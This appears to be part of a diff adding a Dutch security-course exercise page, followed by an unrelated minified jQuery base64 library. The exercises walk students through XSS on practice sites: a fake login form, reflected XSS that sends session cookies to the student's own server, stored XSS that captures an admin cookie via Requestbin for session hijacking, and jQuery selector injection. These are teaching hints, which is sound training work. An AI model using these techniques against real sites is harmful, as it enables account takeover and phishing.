+  <span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina
+    komt te staan.</span>
+</div>
+
+<h2>Webshop</h2>
+<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde
+  afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site
+  <span class="website">"Webshop (replace)"</span>.</p>
+
+<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p>
+
+<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p>
+
+<p class="hint">
+  <strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p>
+
+<p class="hint">
+  <strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p>
+
+<p class="hint">
+  <strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p>
+
+<p class="hint">
+  <strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p>
+
+<p class="hint">
+  <strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt
+  gebruiken moet je de url encoded versie gebruiken: %2B</p>
+
+<div class="question">
+  <span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span>
+</div>
+
+<p class="hint">
+  <strong>Hint:</strong> Op
+  <a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a>
+</p>
+
+<div class="question">
+  <span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (&lt;&gt;"&amp;) zijn nu geëscapet. Maar het
+    is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd.
+    Let goed op de quotejes.</span>
+</div>
+
+<div class="question">
+  <span class="question-string">Bekijk de
+    <a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2.
+    PHP aanpassen (lees documentatie op
+    <a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span>
+</div>
+
+
+<h2>Nieuws</h2>
+
+<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de
+  <span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p>
+
+<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators
+  van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen.
+</p>
+
+<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen
+  server sturen om de opdracht te kunnen maken. Je kunt hiervoor
+  <a href="https://requestb.in">Requestbin</a> gebruiken</p>
+
+<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan
+  de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p>
+
+<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie
+  van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p>
+
+<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p>
+
+<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p>
+
+<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p>
+
+
+<div class="question">
+  <span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span>
+</div>
+
+<h2>Wereldwijs</h2>
+
+<p>Ga naar de
+  <span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen.
+  Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek
+  in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p>
+
+<p>Let op: In Firefox werkt deze hack niet</p>
+
+<p class="hint">
+  <strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p>
+
+<p class="hint">
+  <strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('&lt;div&gt;').
+  Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p>
+
+<div class="question">
+  <span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span>
+</div>
				`@ -0,0 +1 @@`
				"use strict";jQuery.base64=(function($){var _PADCHAR="=",_ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",_VERSION="1.0";function _getbyte64(s,i){var idx=_ALPHA.indexOf(s.charAt(i));if(idx===-1){throw"Cannot decode base64"}return idx}function _decode(s){var pads=0,i,b10,imax=s.length,x=[];s=String(s);if(imax===0){return s}if(imax%4!==0){throw"Cannot decode base64"}if(s.charAt(imax-1)===_PADCHAR){pads=1;if(s.charAt(imax-2)===_PADCHAR){pads=2}imax-=4}for(i=0;i<imax;i+=4){b10=(_getbyte64(s,i)<<18)\|(_getbyte64(s,i+1)<<12)\|(_getbyte64(s,i+2)<<6)\|_getbyte64(s,i+3);x.push(String.fromCharCode(b10>>16,(b10>>8)&255,b10&255))}switch(pads){case 1:b10=(_getbyte64(s,i)<<18)\|(_getbyte64(s,i+1)<<12)\|(_getbyte64(s,i+2)<<6);x.push(String.fromCharCode(b10>>16,(b10>>8)&255));break;case 2:b10=(_getbyte64(s,i)<<18)\|(_getbyte64(s,i+1)<<12);x.push(String.fromCharCode(b10>>16));break}return x.join("")}function _getbyte(s,i){var x=s.charCodeAt(i);if(x>255){throw"INVALID_CHARACTER_ERR: DOM Exception 5"}return x}function _encode(s){if(arguments.length!==1){throw"SyntaxError: exactly one argument required"}s=String(s);var i,b10,x=[],imax=s.length-s.length%3;if(s.length===0){return s}for(i=0;i<imax;i+=3){b10=(_getbyte(s,i)<<16)\|(_getbyte(s,i+1)<<8)\|_getbyte(s,i+2);x.push(_ALPHA.charAt(b10>>18));x.push(_ALPHA.charAt((b10>>12)&63));x.push(_ALPHA.charAt((b10>>6)&63));x.push(_ALPHA.charAt(b10&63))}switch(s.length-imax){case 1:b10=_getbyte(s,i)<<16;x.push(_ALPHA.charAt(b10>>18)+_ALPHA.charAt((b10>>12)&63)+_PADCHAR+_PADCHAR);break;case 2:b10=(_getbyte(s,i)<<16)\|(_getbyte(s,i+1)<<8);x.push(_ALPHA.charAt(b10>>18)+_ALPHA.charAt((b10>>12)&63)+_ALPHA.charAt((b10>>6)&63)+_PADCHAR);break}return x.join("")}return{decode:_decode,encode:_encode,VERSION:_VERSION}}(jQuery));